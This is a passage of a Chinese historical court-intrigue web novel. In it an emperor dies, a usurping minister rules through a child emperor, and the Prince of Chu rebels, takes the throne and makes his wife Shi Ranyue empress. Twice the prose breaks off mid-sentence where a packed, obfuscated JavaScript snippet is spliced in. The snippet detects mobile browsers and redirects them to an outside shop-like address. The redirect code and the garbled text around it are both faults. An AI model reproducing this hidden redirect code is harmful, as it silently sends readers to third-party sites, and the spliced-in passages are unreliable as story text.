到正院,灯火明亮刺眼,来往进出的婆子丫鬟身上也沾上血腥味,叫她又有些恶心反胃。丫鬟澜水道:“殿下,快三更天了,咱们还是回去歇息罢。”另一个丫鬟湖亭也道:“是啊殿下,王妃殿下还不晓得要何时才能把孩子生下来,熬上一夜也是有可能的,您现在这身子可支持不了啊。” 徐聆雨只是沉默地分辨着嘈杂人声里女子的哽咽呻吟,良久,默默转身往回走,道:“湖亭,你将我房中那几根老参送过来。”又冷声道:“也不晓得我们为何拼着命为一个根本不相爱的男子孕育子嗣。”闻言,澜水与湖亭都噤了声。徐聆雨却走得飞快,直要把整个正院的焦虑血腥的气息全远远甩在身后。 九月二十三日晨,师冉月终平安诞下一子。合月动用影卫传信给端木玄,仅三日就得了回信,在师冉月先前选的几个名字中选了一个“玦”字给孩子命名,并上书朝廷,请立世子。 十月末,仍是夏公公带着人来了慕州,一为宣布立端木玦为楚王世子的诏书,二则为师冉月带来贺礼,三则也给昌邑大长公主送来了赏赐。 “见了公公就如见了家人。今上与娘娘可都还好?阳曲侯府上可还好?” 夏公公喝了音儿奉上的茶,道:“都好都好,殿下莫挂心。娘娘还记挂着殿下,原本册立小世子的诏书月初就拟好了,却怕殿下还没出月子就劳累伤了身体,这才叫月末再送来王府。” “多谢娘娘体贴。今上与娘娘如今应该不似一年前那般受掣肘了罢?” 夏公公笑笑道:“自然自然。今上已经准备明年三月重开科举了,以便广纳贤才,先前又肃清了好几桩冤案,无论是从前被陷害冤枉的官员,还是平头百姓,都叫平冤昭雪了。又重新启用了先前被外放的周大人为御史中丞,刑部和吏部也换了几位前些年颇有政声的大人,替换掉了那史氏的同党,宫内外都赞誉今上圣明仁德。” 师冉月慰然道:“这都是今上年少时的抱负,如今终于可以一一得偿所愿了。” 夏公公也是宽慰得很,只说昭献皇后得以瞑目,神态倒也似是自家孩子长大成人般欣喜。 原本夏公公只打算在慕州停留一日,却不料次日欲行时正赶上徐聆雨生产,便又多留了几日,只等再来送赏之人一同离开,又应师冉月邀请,便在王府中暂住。 “夏公公处可都安排妥当了?” “都安排妥了,殿下也早些睡吧。” “怎么今晚好像都没见到合月?”师冉月只穿着中衣坐在帐中,看着啼樱燃香。音儿熄了外面的灯烛,进来道:“合月带人安排好夏公公的住处后好似有急事去了前院,应该是烟水那边有事找罢。” 师冉月便也点点头,准备睡下。却没等音儿熄了帐中的灯,合月就匆匆回来道:“殿下,京中的消息,恐怕今上出了事,影卫已经给王爷送去了消息,咱们府上还留着宫里的人,殿下还得早做打算。” 师冉月惊愣道:“什么叫出了事?驾崩?” 合月道:“十有八九。最迟明日早朝也就该诏告天下了。” “京中消息还有什么具体的都告诉我!” “属下也只知道这些了。” 师冉月有些不可置信。端木昀年纪轻轻,身强体壮,方才登基不到两年,又没病没灾,怎会突然驾崩?若非病逝,那便是有人谋害,然而思及端木昀若是驾崩究竟会有谁得力,一时又想不出个所以然。“闽中郡王和陇西郡王应该都不会有篡权夺位的心思,反倒是今上登基,他们才不用战战兢兢。外封的藩王名不正言不顺,就算是今上暴亡朝廷也不会拥立他们为新君......” 合月沉声道:“殿下别忘了,宫中还有位养在太妃宫里的武宗皇子——洛太嫔所出的七皇子端木昭。” 师冉月神色一凛。这位七皇子端木昭如今才四岁之龄,出生时他们师家就已经离京,是以她便也不大晓得这些后宫里的事。虽然这皇子是当时正得宠的洛充仪所生,背后又有史自兴,但从武宗到今上都没给他什么封赏,不似当年官纯妃刚生下端木菡时,武宗不仅封赏六宫,提拔了官纯妃的父兄侄子,金银绸缎流水似的送到纯妃宫里和官氏府上,更大肆操办满月酒、周岁宴,若非台谏阻止,差点大赦天下,因此到了师冉月懂事后京中人提起当年盛况也是滔滔不绝。相较之下,这位七皇子的出生甚至好些人都闻所未闻。 若是端木昀当真驾崩,史自兴便很有可能拥少主为新君,借机把持朝政。显然史自兴辞官蛰伏,就是等待这般时机。原先武宗在世,他还需要迎合武宗的喜好,借武宗之手达成自己的目的,而若是端木昭登基,洛太嫔成了太后,史自兴便大权在握,不必再看任何人脸色,端木氏的皇权也不过就是走个过场的事了。 合月接着道:“殿下不必担心侯府,烟水姐姐已将消息递给了您的几位兄长,不出意外今夜师太尉就会回京了。” 师冉月点了点头,道:“合月,若是明早消息核实,诏令一发,你就安排人送夏公公便衣还乡,他是昭献皇后和今上的人,若再回京必有危险。” “是。” 28. 第 28 章 丰安元年冬月初二,端木昀驾崩,“遗诏”传位幼弟昭,当日新君即位,拜史自兴为太师,母洛太嫔为皇太后。 皇后和缨自缢殉葬,谥昭顷皇后。 “行义说民、主义行德曰元。”林绵道,“这倒的确与元宗皇帝性格相符。敏以敬顺曰顷,和娘娘这些年小心谨慎,在那吃人的地方步步为营,活到如今也实属不易。” “身后名能管什么用,人都走了,都是做给活人看的。”师冉月冷笑,“他要名正言顺,自然得恭敬。请人取几个字又不是什么难事。可明白人都看得出来,就算元宗不是死于非命,为何不传位给陇西郡王或是闽中郡王,而是传位给那么一个不知人事的小孩子?和言给我写信来,说那二位王爷如今都只能避祸保命,这天下也不知道是谁家的了——” “你们家如今作何打算?”林绵赶紧打断了她。 师冉月轻叹;“他们已经连夜回了逢州。我二哥交了虎符,二哥和三哥都上了辞呈,只是朝廷还没有批复——他们现在也顾不上忙活这些事,我家自己退位避让倒是帮他们了。王爷说与我兄长们有事相商,自西北直接奔着逢州去了,并不先回王府。” 林绵有些惊讶:“从西北去逢州,也途径慕州,玦哥儿和含姐儿都刚出生,他竟也不抽空回来见一见孩子,到底是有什么十万火急的事?” 师冉月只摇头沉默,心中却已有了考量。当初端木凛送她的嫁妆里藏着一个信封,信封中是辛氏王妃与她长姐的往来书信,能证明端木玄并非是端木横与辛阮英之子,而是辛阮英为了巩固地位把外甥充作自己之子。此事师冉月嫁进王府后试探良久,想必除去端木玄本人、她还有端木凛,应该只有烟水一人知晓此事,端木凛手中的证见想必也是从烟水那里得来的,个中缘由虽不清楚,她也无心探寻往日旧事,不过却有助于她明了端木玄的心思。 当初世子之位并非他所愿,反倒平白多了各种束缚。甚至师冉月暗中派成和查探过辛阮英的姐姐姐夫一家,原先住处的邻居说他们是被人所害,也许是被灭口。端木玄对殷嫣以及淑宁郡主和沐安郡主都没有什么太大的敌意,端木横也并非杀害他父母的真凶,那么,他“弑父”之举的唯一的解释便是端木横的存在阻挡了他的计划。 他要看看这天降的世子之位,究竟能给他带来什么。 他孓然一身入了自己设的局,输无可输,赢则整个天下。 逢州的冬日雾气濛然,树仍翠色,竹也苍绿,湖面却粼粼泛着冷调的水波,和着不远处黛蓝的山,看得人心中发凉。元宗新丧,城中虽谈不上缟素,也都是些暗沉苍白的色调,比起当年端木玄来逢州谋亲事时的样子又是另一番光景。 他秘密进城,只带了两个随从,一切就简,因此便也没惊动时任逢州太守的景家。马蹄踏过沾着冷泥与薄霜的青石地,停在湖畔师家宅子门前。师霖孤身一人,白衣肃立在门前迎接这位远道来客。互相对视点头便代替了行礼,没有惊动这城的清晨。师霖侧过身将端木玄让进宅子,直到进了他的书房,才道:“未曾远迎,失礼了。” 端木玄道:“妹婿突然到访,来得仓促,倒请舅兄莫要见怪。” 师霖眼中似有冷笑。袁例亲自为二人倒了茶,师霖举起茶杯略微示意,便自顾自低头喝起茶来,只等端木玄主动开口。端木玄却先问道:“怎不见二舅兄与四舅兄?” 闻及此,师霖脸色发沉,只低声道:“我二哥回逢州途中遇刺身亡,如今停灵在逢州神安寺里,此事不便张扬,因此未曾对外发丧......小六那边还请王爷代为告知。子锋在沉州另有事做。” 端木玄也暗了神色,道:“二舅兄死于谁手不用说便知,师家打算如何?” 师霖挑眉看向他:“王爷希望师家如何?”又道:“你我承祐十年时便有过商谈,此时又没有旁人,不妨直说。” 端木玄便道:“史氏此次重掌大权必然不会再对元明旧臣手下留情,首当其冲的便必然是师家也只有师家。子持兄若肯竭力助我谋取皇位,事成之后我当复师家侯位官职,立容琯为后,玦儿为太子。” 满室沉寂。 半晌,师霖道:“安知某日,师家不会重蹈岳氏覆辙。” 端木玄勾唇笑了,道:“这点子持兄自然可以放心,容琯不会让此事发生。” 看着他眼中笃定,师霖却对这没头没尾的话有些摸不清,心下起了探究,面上却直爽道:“需要我怎么做?” “京城,我的人不如你的人熟悉。不日我将散布史自兴谋害元宗与昭顷皇后真相,以擒史平乱、光复端木氏的名义出兵。我联合安王与我两个妹婿,借西北、东北兵力可直捣京城,届时京中和宫中便需借子持兄与云和的力,里应外合。” 师霖抬眸,定定直视着端木玄的双眼,缓缓道:“王爷当知晓此事一旦开始,便一发不可收拾,再也没有回头路了。” 端木玄道:“不成功,便成仁。” 师霖眯了眯眼,收回视线,双手捧着慢慢凉下去的茶盏,不知过了多久,才沉声答应:“此事为你我二人之盟。” “可以。” 端木玄微笑,眼中的明朗仿佛二人只是约了一个棋局,道:“子持兄,你我二人今日便以茶代酒,结了这盟约。至于日后操作,待我先回慕州统筹,七日内书信交换细节。” 师霖举起茶盏回敬:“静候君音。” “殿下,这是今年立春府里要放还家的仆从明细。”音儿把一张小楷抄录的名单摆在师冉月面前。师冉月斜倚着黑檀木的太师椅,微挑的远山眉勾着金如意滴珠步摇,头上戴着湖蓝抹额,竟叫音儿有了几分面对人是唐烨的错觉。 师冉月左右看过一遍,没什么错漏,便吩咐了管事嬷嬷去办。“开春给丫鬟们新裁的衣服也一并定下来。今年不要白青和石绿的褂子了,一律改成松花和......朱柿罢,看着新鲜。” 音儿一并应下,又道:“对了,昨日徐侧妃院里那两个丫鬟打起来的事,侧妃说任凭您处置。那二人都是楚王府的家生子,还有一个是近黛的妹妹。” “惊扰了孩子,还糟蹋了不少物件,真是年轻气盛啊。”师冉月哼笑一声,道:“近黛的妹妹,罚三个月俸,叫人给她姐姐带句话去好好管管。另一个降为三等丫鬟,到花园去扫洒。” 啼樱在一旁收拾刚刚被端木玦乱摸乱爬弄乱的床榻和书架,闻言忍不住问道:“殿下,只因为近黛姐姐的人情就这么判罚,未免有些不公罢?” “近黛的妹妹不是我不罚,而是自有近黛来罚。明眼人都能瞧明白,看不明白的爱在背后嚼舌根也只管嚼去。这府里公道在我,在人心,不在他们那儿。”师冉月淡淡道。 端木玄自逢州回慕州只留了三日,认过了新出生的一儿一女,就带着烟水等又去了西北,把整个王府不分前院后院都交给了师冉月,只留了个近黛协助她管理前院的事宜。由此不只是后院的丫鬟婆子、侍卫小厮,三个院的吃穿用度,三个孩子的饮食衣裳,端木城的学业,还有前院住着的门客幕僚们的日常所需,再加上王府外边产业的经营,一应事务全权交由师冉月来管。因此原先她都要睡到辰时再起,如今卯初便洗漱完毕坐在案前对账理事,又时不时有个端木玦缠着捣乱,害得她眼底隐隐发青。 “明日去太守府上,将我那套瓷画找出来准备送给太守夫人。一会儿合月回来叫她再去城西一趟,寻几个卖相好看的小陶碟,送给周家那个小女儿。难为周夫人费心帮城哥儿找了学画的师傅。” “是,殿下。还有三日后齐夫人在银朱楼设宴,您原先因为要去外苑理事给拒了,如今林侧妃帮您去理事,您可还要去赴宴?” 师冉月吸着气揉了揉眉心,道:“去罢。啼樱,你一会儿去何家把我上次定的那条青骊色的裙子取回来。” “殿下,那颜色会不会太老了?” “不老不老。齐夫人设宴是要给她那两个女儿招婿,去的都是些三四十岁的夫人,我自要混入其中。” 音儿笑道:“殿下这是什么话。人家夫人上了年纪都想着往年轻了装扮,您才二十出头,净想着往老了装扮,难道忘了上次您那条花青的裙子差点叫王爷以为是哪个婆子的?” 不提也罢,一提这事儿师冉月便想恼,“白瞎了我那特意选的栀子暗花,他成日里穿的不是黑就是褐,倒挑剔上我来了。” 她对了一会子账,熄了脾气,又叹道:“如今已是大化元年了,我都二十五岁了,比起未出阁的姑娘能年轻到哪儿去?” “殿下这话可就不对了,且忘了上次在华冠寺还有那书生以为您是未出阁的姑娘向您表白呢。”啼樱道。 “那是那人轻浮无知,连妇人的装束都认不出来。不然,就是我那日同太守夫人礼佛穿的朴素,单独撞见,他便以为我是哪个小门小户的妇人刻意调戏——那更可恶了。” 正说着,端木城走进来,脚步欢快,笑着向师冉月行礼:“母妃,弟弟可醒了,儿臣想给他念书。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226143|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”今日蒋节和沈案之都跟着端木玄去西北了,师冉月另请了一人给端木城讲学,课业比原先轻些,一有空便爱寻弟弟妹妹玩。端木玦和端木含都才只会爬,倒也乐意配合兄长,兄妹几人乐此不疲。 师冉月笑道:“去吧去吧,孙妈妈,你领大公子去东厢。” 送走了端木城,师冉月忍不住微微抻了个懒腰,望着外头迎春花开得正盛,正午时分,阳光浓的迷人眼,院里的花草似也都春困般陷入温暖的阳光中没有什么声响,平日里爱在檐下叫的一窝燕子也不晓得今日去了哪里。 师冉月定定望着窗外,只觉得这日子无聊但安逸。又不由想起那日端木玄回来告知她师穆的死讯后,徐聆雨曾问她武宗与史自兴等人害死了她这么多亲眷,难道她便没有恨意,不想报仇? 她沉默良久,只道师家从前也为了权力害了不少人,贬官、外放、牢狱之灾,甚至无辜性命......兴许还牵连过不少百姓。这就是朝堂,千百年来都是如此,她虽然是内眷,但也逃脱不了干系——她们这样的女子本也是卷在这斗争中的一环。你方唱罢我登场,若今日她去复仇了,明日来找师家、找她复仇的又是谁呢? 徐聆雨闻言默然,却还是第一次在师冉月面前剥去她那温柔的善解人意的软的像逢州湖上开的莲花瓣一样的外壳,冷笑道:“京城与师家教出了你这样的性子,你还想让你的儿女也同你一般吗?” 师冉月看向她,眼神考究,“徐家也是这样教导你的,含儿就是为了这种教导而产生的目的所生出来的,你又能改变什么呢?” 她如今看着端木玦无忧无虑,心下默默拒绝了萧晨在信中传授的她培育师焕的路子,倒也隐隐期待着教出一个徐聆雨所想的“不一样的人”。而至于她自己——看着端木玄留给她的调动影卫的兵符和师霖新拨给她的一百私兵,若是他们谋划的事情能成,她也不过换个地方继续同样的事务和大差不差的生活,兴许她这辈子也就被这么困在这儿了。 “殿下......殿下?”音儿看着她发愣了许久,忍不住唤她。师冉月缓神,笑了笑道:“我没事。走吧,看看今日中午吃些什么。” 大化元年冬月,端木萌以祭拜兄长元宗之名进了宫居住。太后何氏看着她大摇大摆轻易地指使着满宫的宫女太监,气势也弱了两分,只等史自兴在朝堂上发难。礼部却觉得元宗忌日总要有皇族至亲来祭拜,陇西郡王和闽中郡王如今闭府不出整日花天酒地,定陶长公主带着子女回了岳氏祖籍蒲城,新宁长公主也远在卿州,此时有个能知事的云和长公主回来再好不过,更有人上书言云和长公主可代何太后照顾扶持幼弟端木昭,史自兴之子以盖长公主旧例驳斥,那谏官却说长公主摄政江山姓氏不改,总好过霍光之祸。 “长公主,这是今日朝堂所议,吴主簿已经为您抄录下来了。” “辛苦他。”端木萌闭目执香,缓缓拜了三次,方才睁开眼睛,看着前面端木昀与和缨的灵牌,不由得暗暗叹气。起身拿过尧儿手中的册子,简单看了看,冷笑道:“不过是些旧事,反复拿出来说,也是难为了他们的口舌了。”大行皇帝一年忌日按国朝旧例要祭拜整整四十九日,史自兴一边苦恼端木萌直愣愣呆在宫中扎眼,一边又自大以为她一女流之辈孤身入宫毫无能耐,越想竟越觉得高枕无忧起来,安知端木萌入城的马车内还藏着一个师霖。 党争党争,“争”之一字,便从来不存在一家独大的境况。 行湘轻蔑地低声道:“那史自兴便是知道了恐怕也觉得咱们奈何不了他呢。” 端木萌睨她一眼,道:“莫要轻敌。” 史自兴再蠢,手中也握有五千御林军和驻京的一万禁卫军的军权,也不可小觑。 走在宫中的路上,前前后后摇曳着数不清的灯影。路过的宫人皆低首行礼,肃立着直到她走远,连端木昭独自见到她也仿佛习惯般欲行礼,口称姐姐,仿佛端木萌身上披的不是为端木昀服丧的素服,而是君王的衮冕。 “尧儿,明日你带人将夏公公葬在我母后的陵旁。” 当初师冉月欲护送夏公公回其祖籍所在,以免回宫遭史氏之人陷害,夏公公却怕连累师冉月,趁众人注意分散时服毒自尽,追随旧主而去。端木萌在宫中站稳了,师冉月才将这消息告知她,连同夏公公的尸首一并送回了京城,交由她来安葬。 “又快新年了。”端木萌烧掉师霖送进来的信,看着火盆里蹦跳的火花喃喃着,“我母后与兄嫂终于快可以瞑目了。” 29. 第 29 章 大化二年正月初一,楚王端木玄、安西将军高司与颍川守备霍止自西北,安王端木崇和苍郡太守荆绰于东北,师骁策反镇藩将军荀泽于西南,散播史自兴毒杀元宗、逼死昭顷皇后真相,起兵讨史,直指京城。 朝野内外惊乱丛生,民乱趁机四起,人心惶惶,人人自危。 二月中,以端木玄为首的众人率军已将京城外城围了个水泄不通。断水断粮,起初一阵子京中人还可以靠储备和城里的粮仓支持,没过一段时间自百姓起就开始支撑不住了。城里四处骚乱,沸沸扬扬,家中有水井的人家好些都将大门闭锁,更有些人家找了荆棘和尖刀绑在围墙上防止有人越墙而入。官兵捉了些为首的闹事者下狱,压下去了一两天。可耐不住水粮俱是民生,左右都是死,人们发现向内索要不出保命的粮食和水,便开始向外求生,端木玄特意命人留下的北门不断有人溜出来。有一队人马专奉端木玄之令在北门不远处徘徊,见到出来的是百姓便放走,有兵卒或官员与家眷等便捉起来集中看管,或劝降或作俘虏。 端木玄与端木崇端坐于大帐中,喝茶下棋。比起端木玄起事以来一直穿着玄衣金甲,端木崇却是一身白衣,软甲也戴在里头,乍一看倒像是个白净书生。 “咱们便这么跟他耗下去?” “耗不了多久了——该你了。”端木玄一派风轻云淡,若叫史自兴看见了大概还要再多生半头白发。“咱们兵力几何、粮草多少,他已无从查证,城外饮水更不必担心。可他城内实力如何我却一清二楚。” “靠你那位舅兄?” “正是。” “他与云和何时发力?” “最后关头里应外合就是了——应该也要不了多久。那史自兴又不是个将才,这么些兵力不过是为了威慑,要是寻常战场上相遇,这些兵的十分之一对付他都绰绰有余——又该你了。” 端木崇看了看棋局,又添上一子,无奈道:“这是攸关性命的事,你倒真能这般淡定。”他本意并不想参与起事,他比端木玄还小上一岁,与王妃荆氏少年夫妻,恩爱非常,已有一子,是以他纯粹是被端木玄半利诱半胁迫来的,何况看过端木玄的部署他已经能知晓成败,加上因着端木婉嫁给师穆这一桩转折亲,他终归不太能置身事外,便干脆加一把火,为安王府未来讨个保障。 端木崇发愣间,端木玄已信手落下一子,抬眼笑道:“我赢了。” 端木崇一愣,仔细看见果然胜负已定,喝了口茶笑道:“自愧不如。” “长公主,何太后在殿门外求见。” 端木萌正用玫瑰花露擦着手,尧儿在一旁为她梳头,又替她按着头上的穴位。半晌无言,行湘刚要提醒,却被尧儿一眼瞪了回去,便低头转身欲要去将何太后劝走,端木萌兀而道:“不必管她。” 她内心拧着,直想看那人跪在她脚下求情的样子,好替母亲和嫂子报了当年的仇,却又觉得吵闹,不想在这种人身上浪费时间。 “她若是诚心求我些什么,不如去昭献皇后与昭顷皇后灵前谢罪。” 行湘纠结着小声开口:“方才何太后说......不奢求您原谅她,只求您饶今上一命。” 端木萌冷着脸色,终是未置一词。 宫灯高悬,紫衣银冠的女子在殿前跪了一宿,像只被斩了羽翼的雀。 “殿下——殿下!” “大喜啊殿下!” 合月手里举着烟水传来的信,跑得气喘吁吁:“殿下,史自兴自刎了,何太后代小皇帝写了禅让诏书,让位给王爷了!要不了三日消息就该传到慕州、传遍天下了。” 师冉月早先远远听得她的喊声,心下便大概有了数,却还是蓦地心跳如战鼓擂,竟略微有些手抖,直到合月话音落了,整个院子都爆发出欢呼,她才像乌鸦归巢似的浑身一震。 徐聆雨匆匆跑来,直到她面前才停下,紧盯着她眼睛问道:“王爷要登基了?” 师冉月魂飞天外似的机械般点了点头。徐聆雨面上表情骤然精彩纷呈,似笑非笑似哭非哭,一双柳叶秀眉皱着发颤,捂着嘴掩住的似是笑声,眼中水光却满是悲色。湖亭搀着她小声道:“姑娘,是喜事,怎么......”徐聆雨才忽地哭出声来,向师冉月潦草行了个礼,被丫鬟搀着往回走。 啼樱凑到师冉月跟前笑道:“这徐侧妃莫不是高兴傻了吧?”音儿拍了她一巴掌,随便在案上拿了个果子堵住她的嘴,推她去屋外。 师冉月方才找回神智似的,心里飘忽着不敢坠下,轻声对音儿道:“你去差人告诉绵姐姐......兴许不用告诉了——但还是去说一声罢......告诉他们预备着收拾收拾东西,我们要回京城去。”音儿已应了声往外走,却又被师冉月高声唤住:“叫成和给我备两匹马去,要好马。” 音儿迟疑着,师冉月面上却满是漂浮的喜色,眸子落不到定处,道:“我要骑马归京——明日我就走。” 晚间,音儿正被师冉月指挥着整理她压箱底的那套莺黄色骑装,寒峦手里捧着一只插了枝含苞的栀子花枝的粗陶瓶进来,道:“殿下,这是商公子托我给您送来的。他说......他要离开慕州了,不晓得会去往何处,若是日后决定在某处落脚,会用老法子告诉您。他还祝您此次还京,万事如愿。” 师冉月一颗心悠悠沉底,低着眉眼叫人看不清神色。寒峦已走了许久,那陶瓶被音儿暂时摆在妆台上。师冉月慢慢道:“不必熨了,音儿。” “姑娘?” “此次回京,我是楚王妃,是未来的皇后,不是师家二姑娘了。” 莺黄的骑装褶皱难熨,折起的衣角在烛光下暗沉发旧。 “皇后该是什么样,我就得是什么样。” 大化二年五月二十七日,楚王端木玄受禅登基,以次年为复景元年。同日册封楚王妃师冉月为皇后,楚王世子端木玦为太子。 次日,诏师霖为阳曲侯、太子太傅,师骁为枢密都承旨。 改定陶长公主为怀宁长公主,子岳添袭颍川侯,女岳佳为熙安县主;新宁长公主子李安楠继屏南侯,女李安宁为屏南县主;淑宁郡主端木暄封缙云长公主,沐安郡主端木缡封乐安长公主。 南迁安王府自息州至宛城。 楚王侧妃林氏封贵妃,徐氏封昭仪,郡主端木含为令成公主。 太后何氏废太后位,赐死,以充仪位随葬武宗皇陵。抄家史氏、何氏,族中男子凡六岁以上者斩,六岁以下者入宫为宦,女眷徒西北。 端木昭半个月后病逝于行宫,称怀宗。 接楚王府家眷的马车由禁卫军护送着一路进了京,浩浩荡荡地向那红墙中去。师冉月坐的那乘马车却拐了个弯,先行回了阳曲侯府。 萧晨一身月白的衣裳,一支银钗低挽云髻,少了几分威仪,平添了温婉。她轻摇着团扇,道:“没见过你这么没正形的,封后大典在即,却专门跑回家来给侍女办婚仪。” “音儿自小陪我长大,我一直当妹妹看待,就是娘还在,也要把她当半个女儿嫁出去的。那成和现在也是我自己人,他俩成婚,怎么就不算正经事了呢?” 端木萌走过来揽住师冉月的肩,趴在她肩头看她为音儿置办的添妆的首饰,道:“你倒是比自己成亲还认真。”她前几日才善后完了后宫中的事,终于得以脱身回师家,看着孩子们捣乱闹腾竟都觉得舒心起来。如今她看着这些成婚有关的事也颇有触动,原是前几日见到了唐太妃提醒她该给师婷欢暗中物色物色亲事了,才觉一恍已经嫁给师霖十二年。婷欢如今的年纪竟也差不多是她与师霖当年被赐婚的年纪了。 说及此事,萧晨也道:“我也替焕哥儿相看了几家,不过他如今还是先以学业为重,成亲倒是不急。” “别呀大嫂,焕哥儿的学业定是不成问题的,倒是我那两个儿子各个都没在书上用心,只等着荫官了。若是焕哥儿不娶妻,那他这些弟弟们也不好成婚了。” “着什么急,迟哥儿才十岁。男孩子又不似女孩儿会被人挑剔年纪。”师冉月道,“何况如今女子二嫁的也不是奇事,咱们这样的人家还会有成不了婚的孩子?” “咱们这样的人家——谁知道咱们这样的人家明日是什么样子。”端木萌白眼道,“今儿是侯门公子,明儿说不定就又成平头百姓了。” 师冉月笑道:“就是三哥没了爵位,三嫂你还是长公主呢,你是最不用担心的了。”她将首饰理好,放到漆红盒子里,递给啼樱叫她放到音儿的嫁妆里,又在留辰轩里一道与萧晨和师焕用了晚膳,才回了留华轩去。 如今师霖和端木萌夫妇住着留容轩,端木婉住着留瑞轩,萧晨选了僻静些的留辰轩,原先岳诗韫住的留禹轩则是师骁与张雁夫妇住着,岳诗韫则搬到了原先赵老夫人的岁苍斋,只是把赵老夫人礼佛的一众东西搬走,换成了一排排的古籍架子。留华轩仍给师冉月留着,只不过几个姐儿偶尔也去住。 “且别说,那天迟哥儿跟着他姐姐要去留华轩,被姐妹几个一道儿打了回来。”端木萌边叹气边觉得好笑,又回忆了一番当时的场面,终于还是忍俊不禁,倒在师冉月身上大笑。 师冉月也觉得有趣,只因那留华轩原先就是她与师吟月住着,旁边的念栀堂和锦心阁也都是放着女孩子家的东西,有各色的绣线、各式的绣样,还有些点茶插花调香的东西,全然是女子闺房的布置。师霖和师骁十几岁出头的时候年少轻狂,连路过都恨不得嗤之以鼻,倒难为师迟好奇了。 提起侄子侄女们,师冉月便忍不住感慨:“他们这一辈儿兄弟姐妹多,比我们当年还热闹些。” 端木萌神态黯然。如今婷欢、师迟和师言都大了,不似幼时那般需人费心看顾,她便把精力大半投在了牙牙学语的棠欢身上,却总是透过她想起薇欢,挂念她可有受苦,更怕纵然十二岁时她平安回家,也会与父母亲人生分,更叫人担忧伤感。 萧晨已习惯她这副神态,叹道:“早知如此,何必听那道人的话。除却皇宫里,这天下还有几个去处能比咱们家过得好?” 端木萌小声反驳:“万一真是劫,未听那人的话,将来又应验了,我岂不要悔死。” 师冉月把修剪下来的花枝交给小丫鬟,道:“那些东西,顺心则信,逆则不信,本是为了叫人宽慰满足的,却为此生出许多烦恼,那就是不值了。” “你就在这儿闲话!” 师冉月摊手:“那七姐儿我都没来得及看一眼就被你送出去了,我又能怎么办?你如今又能怎么办?” 张雁忙道:“都别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226144|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急,七姐儿吉人天相,定是无事的,莫要担心。” 端木萌轻叹一声,喝了两口茶,便也换了别的话题去说了。 流连在侯府与几个嫂子都说上了话,这般墨迹了几日便是定好的吉日。看着音儿出嫁,师冉月倒觉得像是瞧着师吟月又嫁出去了一次,只不过音儿没有远远地嫁去卿州,更没有离开她千里之外。 婚后三日,师冉月才带着仆从和端木玦回了宫。 马车停在了宫门口,而后就换了皇后仪舆,自宣华门入宫。从前她来宫中,常常是由端木萌派人从偏门将她们接到自己宫中,或是直接去东宫,仔细一算,这倒是她第一次走宣华门。 仪舆和仪仗队伍都走得很慢,夏日的风也仿佛静止,凝固般轻轻碰撞着发冠上的步摇,在师冉月耳边响起微弱的清脆声响,似是幼时在祖母佛堂中睡着时朦胧听见的木鱼声。余光中一排排人影皆垂首肃立,暗紫和素灰的宫装,宫女的银簪和禁军的银甲,烈日下发着耀眼而溃烂的光。师冉月似乎什么也没有看见,耳边有掌事太监拉长了嗓音的干哑声,而她仿佛牵线木偶一般抬手抬脚,机械地完成着前两日宫中教习嬷嬷亲自来教她的礼节,尽管这些她早已在恍惚前世的幼年耳濡目染、烂熟于心。 晦涩的赞美之词在耳边淌过,身旁人穿着幼时令她恐惧敬畏的那身衣裳。头上的赤金头面虽是新打的,却也有几只簪子是淮朝历代皇后传承下来的。昭献皇后戴过,昭顷皇后也戴过。 她突然觉得胸腔里有什么令她亢奋又惧怕的东西在涌动。阳光刺眼,眼眶里有些湿润的泪水渗出。 端木玄牵起她的手。 两人眼中闪着如出一辙的光。 “贵妃和昭仪现居何处?” “回娘娘,”烟水递上册子,道:“陛下赐贵妃居辰阳殿,昭仪居云怡阁。安清阁离辰阳殿近,陛下叫人收拾出来供大皇子十二岁前居住。不过娘娘如另有安排,后宫诸事但凭娘娘吩咐。” 师冉月点了点头,露出微笑道:“烟水,留下来吃盏茶再走罢,说起来回京后我还是头一次见你。” 音儿亲自给烟水端过茶来,烟水接过道谢,按着师冉月眼神示意,浅浅在椅子上坐下,却只默默喝了几口便起身行礼道:“属下还有事,先行告辞,烦请娘娘担待。” 师冉月点了点头,看着那带着万年不变的神情和身姿的人走出了坤宁殿,才渐渐收回笑意,问道:“玦儿可还好?” “娘娘放心,殿下乖得很。” 师冉月轻叹了口气,走到妆台前坐下,拿脂粉又盖了盖眼下青黑,道:“一会儿进宫觐见的都有谁?” “怀宁长公主、云和长公主,还有闽中郡王妃和陇西郡王妃。” 师冉月微微闭着眼睛,任凭音儿在她脸上摆弄,小声嘟囔着心疼:“姑娘入宫这些日子都睡得不好,平白思虑太多了些。” “在这个位子上怎能不多想些。无论是凭陛下对我能有几分信任,还是凭我兄嫂,终归不如我自己先安排妥当,尽量万无一失。”后宫如今人口还算简单,与楚王府时没有太大区别。内宫服侍各局也都各行其是,还算安稳,虽说昭顷皇后去世后何氏执掌后宫多有疏漏,加上近二年动乱,如今宫人便都有些懒散,也常有一些宫女太监小打小闹也,但也不过是些细枝末节的事。 比起这些,师冉月倒是更担心前朝事。师霖忙着重振师家与旧党昔日雄风,对史氏余党多有打压,因着端木玄暗中授意与放任,便也十分顺畅。然则师冉月却顾念着慕州旧臣以及昌留郡王府身后的诸多边缘外戚,又不好明目张胆地召见家人说明,只好先暗中观察。 